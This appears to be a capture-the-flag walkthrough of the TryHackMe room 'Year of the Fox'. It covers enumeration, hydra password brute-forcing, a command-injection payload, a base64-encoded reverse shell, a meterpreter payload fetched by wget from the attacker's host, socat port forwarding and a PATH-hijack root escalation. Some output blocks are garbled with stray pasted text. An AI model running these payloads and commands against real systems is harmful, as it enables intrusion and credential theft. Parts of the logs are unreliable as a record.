

Year of the Fox

Year of the Fox

<https://tryhackme.com/room/yotf>

```
rustscan -a 10.10.191.128 -- -sC -sV -A | tee scan.txt
```

```
PORT      STATE SERVICE      REASON  VERSION
80/tcp    open  http         syn-ack Apache httpd 2.4.29
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-auth: Basic realm=You want in? Gotta guess the password!
|_ http-title: 401 Unauthorized
139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: YEAROFTHEFOX)
445/tcp   open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: YEAROFTHEFOX)
Service Info: Hosts: year-of-the-fox.lan, YEAR-OF-THE-FOX

Host script results:
|_ clock-skew: mean: 0s, deviation: 1s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: year-of-the-fox
|   NetBIOS computer name: YEAR-OF-THE-FOX\x00
|   Domain name: lan
|   FQDN: year-of-the-fox.lan
|_ System time: 2023-12-31T15:24:08+00:00
| smb2-time:
|   date: 2023-12-31T15:24:09
|_ start_date: N/A
| smb2-security-mode:
|   311:
|_ Message signing enabled but not required
| nbstat: NetBIOS name: YEAR-OF-THE-FOX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| Names:
|   YEAR-OF-THE-FOX<00>  Flags: <unique><active>
|   YEAR-OF-THE-FOX<03>  Flags: <unique><active>
```

```
enum4linux 10.10.191.128
```

Find 2 users

```
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-978893743-2663913856-222388731 and logon username '', password ''
S-1-5-21-978893743-2663913856-222388731-501 YEAR-OF-THE-FOX\nobody (Local User)
S-1-5-21-978893743-2663913856-222388731-513 YEAR-OF-THE-FOX\None (Domain Group)
S-1-5-21-978893743-2663913856-222388731-1000 YEAR-OF-THE-FOX\fox (Local User)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\fox (Local User)
S-1-22-1-1001 Unix User\rascal (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
===== ( Getting printer info for 10.10.191.128 ) =====
No printers returned.
```

Find password for rascal

```
hydra -l rascal -P /home/kali/Desktop/rockyou.txt 10.10.191.128 http-get
```

```
(kali@kali)-[~/THM/fox]
$ hydra -l rascal -P /home/kali/Desktop/rockyou.txt 10.10.191.128 http-get
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-31 10:57:21
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://10.10.191.128:80/
[STATUS] 3081.00 tries/min, 3081 tries in 00:01h, 14341318 to do in 77:35h, 16 active
[STATUS] 3023.33 tries/min, 9070 tries in 00:03h, 14335329 to do in 79:02h, 16 active
[80][http-get] host: 10.10.191.128 login: rascal password: daisyduke
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-31 11:03:14
```

I Restart machine and password changed)))

```
(kali@kali)-[~/THM/fox]
$ hydra -l rascal -P /home/kali/Desktop/rockyou.txt 10.10.127.39 http-get
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-01 10:54:08
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://10.10.127.39:80/
[STATUS] 2876.00 tries/min, 2876 tries in 00:01h, 14341523 to do in 83:07h, 16 active
[STATUS] 2955.00 tries/min, 8865 tries in 00:03h, 14335534 to do in 80:52h, 16 active
[80][http-get] host: 10.10.127.39 login: rascal password: fidget
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-01 10:58:40

(kali@kali)-[~/THM/fox]
$ hydra -l rascal -P /home/kali/Desktop/rockyou.txt 10.10.250.235 http-get
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-02 10:58:08
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://10.10.250.235:80/
[STATUS] 3093.00 tries/min, 3093 tries in 00:01h, 14341306 to do in 77:17h, 16 active
[STATUS] 3095.67 tries/min, 9287 tries in 00:03h, 14335112 to do in 77:11h, 16 active
[80][http-get] host: 10.10.250.235 login: rascal password: richgirl
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-02 11:04:03
```

Cannot write ;<>"" symbols but cat copy and paste

result for search '



This should be SQLi, XSS, or Command Injection

After hint on discord I found working payload

```
"\" ;id\n"
```

Send

Cancel

<|>

>|>

Request

PrettyRawHex

1 POST /assets/php/search.php HTTP/1.1

2 Host: 10.10.191.128

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate, br

7 Content-Type: text/plain; charset=UTF-8

8 Content-Length: 22

9 Origin: http://10.10.191.128

10 Authorization: Basic cmFzY2FsOmRhaXN5ZHVrZQ==

11 Connection: close

12 Referer: http://10.10.191.128/

13

14 {

15 "target": "\" ;id\n"

16 }

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK

2 Date: Sun, 31 Dec 2023 17:19:40 GMT

3 Server: Apache/2.4.29 (Ubuntu)

4 Content-Length: 33

5 Connection: close

6 Content-Type: text/html; charset=UTF-8

7

8 ["/var/www/html/assets/php"]

I create revshell with python and base 64

3 x +

Send
Cancel
< >

Request
Pretty Raw Hex

1 POST /assets/php/search.php HTTP/1.1
2 Host: 10.10.191.128
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: text/plain; charset=UTF-8
8 Content-Length: 22
9 Origin: http://10.10.191.128
10 Authorization: Basic cmFzY2FsOmRhaXN5ZHVrZQ==
11 Connection: close
12 Referer: http://10.10.191.128/
13
14 {
15 "target":
16 "\n";echo 'ZXhwb3J0IFJIT1NUPSIXMC4xOC44OC4xMzAiO2V4cG9ydCBSUE9SVD0xMjM0O3B5dGhvb
17 jMgLWMgJ2ltcG9ydCBzeXMs29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbW5lY3QoK
18 G9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIPKSkpO1tvcy5kdXAYKHMuZmlsZ
19 W5vKCksZmQpIGZvciBmZCBpbAoMCwXLDIpxXTtwdHkuc3Bhd24oImJhc2giKSc=' | base64 -d | b
20 ash\n"
21 }

Response

```

echo
'ZXhwb3J0IFJIT1NUPSIXMC4xOC44OC4xMzAiO2V4cG9ydCBSUE9SVD0xMjM0O3B5dGhvbjMgLWMgJ2ltcG9ydCBzeXMs29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbW5lY3QoK
G9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIPKSkpO1tvcy5kdXAYKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbAoMCwXLDIpxXTtwdHkuc3Bhd24oImJhc2giKSc=' | base64 -d | bash

```

```

echo
'ZXhwb3J0IFJIT1NUPSIXMC4xOC44OC4xMzAiO2V4cG9ydCBSUE9SVD0xMjM0O3B5dGhvbjMgLWMgJ2ltcG9ydCBzeXMs29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbW5lY3QoK
G9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIPKSkpO1tvcy5kdXAYKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbAoMCwXLDIpxXTtwdHkuc3Bhd24oImJhc2giKSc=' | base64 -d | bash

```

And got the shell

Cancel
< >

(kali@kali)-[~]
\$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.18.88.130] from (UNKNOWN) [10.10.191.128] 60388
www-data@year-of-the-fox:/var/www/html/assets/php\$ ls -la
ls -la 10.10.191.128
total 12
drwxr-xr-x 2 root root 4096 Jun 22 2020 .
drwxr-xr-x 7 root root 4096 May 31 2020 ..
-rw-r--r-- 1 root root 650 Jun 22 2020 search.php
www-data@year-of-the-fox:/var/www/html/assets/php\$

Found web flag and 3 files (I found when search)

```

www-data@year-of-the-fox:/var/www$ ls -la
ls -la
total 20
drwxr-xr-x  4 root root 4096 May 31  2020 .
drwxr-xr-x 13 root root 4096 May 30  2020 ..
drwxr-xr-x  2 root root 4096 May 31  2020 files
drwxr-xr-x  3 root root 4096 May 31  2020 html
-rw-r--r--  1 root root   38 May 31  2020 web-flag.txt
www-data@year-of-the-fox:/var/www$ cat web-flag.txt
cat web-flag.txt
THM{Nzg2ZWQwYWUwN2UwOTU3NDY5ZjVmYTYw}
www-data@year-of-the-fox:/var/www$

```

Here is more active ports. Maybe I can connect to ssh

```

Active Ports
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp      0      0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp      0      0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp      0      0 0.0.0.0:53 0.0.0.0:* LISTEN -
tcp      0      0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6     0      0 :::445      :::*      LISTEN -
tcp6     0      0 :::139      :::*      LISTEN -
tcp6     0      0 :::80       :::*      LISTEN -

Can I sniff with tcpdump?
No

```

```
cat /etc/ssh/sshd_config
```

Only user fox can connect to ssh. I need his password

Port forwarding, create payload

```

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.18.88.130 LPORT=4444 -f elf -o shell.elf

```

```

(kali㉿kali)-[~/THM/fox]
$ msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.18.88.130 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068640 bytes
Final size of elf file: 1068640 bytes
Saved as: shell.elf

```

Download to target machine

```

www-data@year-of-the-fox:/tmp$ wget http://10.18.88.130:8000/shell.elf
wget http://10.18.88.130:8000/shell.elf
--2024-01-01 16:37:31-- http://10.18.88.130:8000/shell.elf
Connecting to 10.18.88.130:8000 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 1068640 (1.0M) [application/octet-stream]
Saving to: 'shell.elf'

shell.elf  scan.txt 100%[=====>] 1.02M 588KB/s in 1.8s

2024-01-01 16:37:33 (588 KB/s) - 'shell.elf' saved [1068640/1068640]

www-data@year-of-the-fox:/tmp$ chmod +x shell.elf
www-data@year-of-the-fox:/tmp$

```

msfconsole

```
use exploit/multi/handler
```



```
set LHOST 10.18.88.130
```

```
set payload linux/x64/meterpreter_reverse_tcp
```

```
run
```

on target machine:

```
chmox + x shell.elf
```

```
./shell.elf
```

Finally forward port

```
portfwd add -l 22 -p 22 -r 127.0.0.1
```

-l is our local port we want to use.

-p is the remote port we want to get access to.

-r is the remote address

```
meterpreter > ls
Listing: /tmp40 (1.0M) [application/octet-stream]
===== shell.elf'

Mode                Size      Type      Last modified      Name
----                -
100755/rwxr-xr-x    828287  file     2023-04-05 09:41:16 -0400 linpeas.sh
100755/rwxr-xr-x   1068640  file     2024-01-01 11:36:14 -0500  shell.elf
040700/rwx-----    4096    dir      2024-01-01 11:16:32 -0500  tmux-33
chmod +x shell.elf
meterpreter > portfwd add -l 22 -p 22 -r 127.0.0.1
[*] Forward TCP relay created: (local) :22 -> (remote) 127.0.0.1:22
meterpreter > █
```

Try to brute force foxes password

```
hydra -l fox -P /home/kali/Desktop/rockyou.txt ssh://127.0.0.1:22
```

little correction of attack

```
(kali@kali)~[~/THM/fox]
$ hydra -l fox -P /home/kali/Desktop/rockyou.txt ssh://127.0.0.1:22
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
nd ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-01 11:49:33
[WARNING] Many SSH configurations limit the number of parallel tasks. it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-01 11:50:08
```

But portforwarding didn't work!!!

Socat

Try socat:

```
./socat tcp-listen:1234,reuseaddr,fork tcp:localhost:22
```

```

www-data@year-of-the-fox:/tmp$ wget http://10.18.88.130:8000/socat
wget http://10.18.88.130:8000/socat
--2024-01-01 18:23:07-- http://10.18.88.130:8000/socat
Connecting to 10.18.88.130:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 375176 (366K) [application/octet-stream]
Saving to: 'socat'
socat 100%[=====] 366.38K 507KB/s in 0.7s
2024-01-01 18:23:08 (507 KB/s) - 'socat' saved [375176/375176]
www-data@year-of-the-fox:/tmp$ chmod +x socat
chmod +x socat
www-data@year-of-the-fox:/tmp$ ./socat tcp-listen:1234,reuseaddr,fork tcp:localhost:22
cat tcp-listen:1234,reuseaddr,fork tcp:localhost:22

```

```
hydra -l fox -P /home/kali/Desktop/rockyou.txt ssh://10.10.127.39:1234 -t 4
```

```

(kali@kali)-[~/THM/fox]
$ hydra -l fox -P /home/kali/Desktop/rockyou.txt ssh://10.10.127.39:1234 -t 4
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-01 13:25:00
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.127.39:1234/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[STATUS] 41.33 tries/min, 124 tries in 00:03h, 14344275 to do in 5783:59h, 4 active
[1234][ssh] host: 10.10.127.39 login: fox password: rangers
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-01 13:28:23

```

fox:rangers .Maybe creds change too(if machine restarted)

```

(kali@kali)-[~/THM/fox]
$ ssh -p 1234 fox@10.10.127.39
The authenticity of host '[10.10.127.39]:1234 ([10.10.127.39]:1234)' can't be established.
ED25519 key fingerprint is SHA256:ytuC6e5+2EWnZLeockeugHFQMCmIRWLKFJR/MF8JPJo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.127.39]:1234' (ED25519) to the list of known hosts.
fox@10.10.127.39's password:

```

YOUT OF THE FOX

```

fox@year-of-the-fox:~$ ls -la
total 36
drwxr-xr-x 5 fox fox 4096 Jun 20 2020 .
drwxr-xr-x 4 root root 4096 May 28 2020 ..
lrwxrwxrwx 1 fox fox 9 May 28 2020 .bash_history -> /dev/null
-rw-r--r-- 1 fox fox 220 May 28 2020 .bash_logout
-rw-r--r-- 1 fox fox 3771 May 28 2020 .bashrc
drwx----- 2 fox fox 4096 May 28 2020 .cache
drwx----- 3 fox fox 4096 May 28 2020 .gnupg
-rw-r--r-- 1 fox fox 807 May 28 2020 .profile
drwxr-xr-x 2 fox fox 4096 Jun 20 2020 samba
-rw-r--r-- 1 fox fox 0 May 28 2020 .sudo_as_admin_successful
-rw-r--r-- 1 root root 38 May 31 2020 user-flag.txt
fox@year-of-the-fox:~$ cat user-flag.txt
THM{Njg3NWZhNDBjMmNmNmZkMGZmMDBhYjhk}
fox@year-of-the-fox:~$

```

As I prevent))) SSH passord changed after machine restart

```

(kali@kali)-[~/THM/fox]
$ hydra -l fox -P /home/kali/Desktop/rockyou.txt ssh://10.10.250.235:1337 -t 4
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-02 11:13:45
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.250.235:1337/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[STATUS] 41.33 tries/min, 124 tries in 00:03h, 14344275 to do in 5783:59h, 4 active
[STATUS] 37.71 tries/min, 264 tries in 00:07h, 14344135 to do in 6338:57h, 4 active
[1337][ssh] host: 10.10.250.235 login: fox password: single
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-02 11:25:59

```

```
sudo -l
```

I can run shutdown. Check binary:

The binary didn't use the full path

```
$ strings shutdown
/lib64/ld-linux-x86-64.so.2
libc.so.6
systemx— 5 fox fox 4096 Jun 20 2020 .
__cxa_finalize root root 4096 May 28 2020 ..
__libc_start_main fox 9 May 28 2020 .bash_hi
GLIBC_2.2.5 fox fox 220 May 28 2020 .bash_lo
_ITM_deregisterTMCloneTable May 28 2020 .bashrc
__gmon_start__ fox fox 4096 May 28 2020 .cache
_ITM_registerTMCloneTable 96 May 28 2020 .gnupg
AWAVI—r— 1 fox fox 807 May 28 2020 .profile
AUATL—xr-x 2 fox fox 4096 Jun 20 2020 samba
[]A\A]A^A_ 1 fox fox 0 May 28 2020 .sudo_as
poweroff— 1 root root 38 May 31 2020 user-fla
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
```

```
cp /bin/bash /tmp/poweroff
```

```
chmod 777 poweroff
```

```
export PATH=/tmp:$PATH
```

```
sudo -u root /usr/sbin/shutdown
```

```
fox@year-of-the-fox:/tmp$ cp /bin/bash /tmp/poweroff
fox@year-of-the-fox:/tmp$ ls -la
total 1128
drwxrwxrwt 10 root root 4096 Jan 2 16:28 .
drwxr-xr-x 22 root root 4096 May 29 2020 ..
drwxrwxrwt 2 root root 4096 Jan 2 15:54 .font-unix
drwxrwxrwt 2 root root 4096 Jan 2 15:54 .ICE-unix
-rwxr-xr-x 1 fox fox 1113504 Jan 2 16:28 poweroff
drwx----- 3 root root 4096 Jan 2 15:54 systemd-private-47fc6304c31344088fcee5d9db5948-apache2.service-W
drwx----- 3 root root 4096 Jan 2 15:54 systemd-private-47fc6304c31344088fcee5d9db5948-systemd-resolved..
drwx----- 3 root root 4096 Jan 2 15:54 systemd-private-47fc6304c31344088fcee5d9db5948-systemd-timesyncd
drwxrwxrwt 2 root root 4096 Jan 2 15:54 .Test-unix[75176]
drwxrwxrwt 2 root root 4096 Jan 2 15:54 .X11-unix
drwxrwxrwt 2 root root 4096 Jan 2 15:54 .XIM-unix
fox@year-of-the-fox:/tmp$ chmod 777 poweroff
fox@year-of-the-fox:/tmp$ export PATH=/tmp:$PATH
fox@year-of-the-fox:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
fox@year-of-the-fox:/tmp$ sudo -l
Matching Defaults entries for fox on year-of-the-fox:
env_reset, mail_badpass

User fox may run the following commands on year-of-the-fox:
(root) NOPASSWD: /usr/sbin/shutdown
fox@year-of-the-fox:/tmp$ sudo -u root /usr/sbin/shutdown
root@year-of-the-fox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@year-of-the-fox:/tmp#
```

Final flag


```
find / -type f -name "*root*" 2>/dev/null
```

```
/home/rascal/.did-you-think-I-was-useless.root 366.38K 453KB/s in 0.8s
root@year-of-the-fox:/tmp# ls -la /home/rascal/.did-you-think-I-was-useless.root
-r----- 1 rascal root 158 Jun  9 2020 /home/rascal/.did-you-think-I-was-useless.root
root@year-of-the-fox:/tmp# cat /home/rascal/.did-you-think-I-was-useless.root
T w-data@year-of-the-fox:/tmp$ chmod +x socat
H mod +x socat
M w-data@year-of-the-fox:/tmp$ ./socat tcp-listen:1337,reuseaddr,fork tcp:localhost:22
{ODM3NTdklisten:1337,reuseaddr,fork tcp:localhost:22
MDljYmM4Z
jdhZWFhY2
VjY2Fk}

Here's the prize:

YTAyNzQ3ODZlMmE2MjcwNzg2NjZkNjQ2Nzc5NzA0NjY2Njc2NjY4M2I2OTMyMzIzNTNhNjk2ODMw
Mwo=

Good luck!
root@year-of-the-fox:/tmp#
```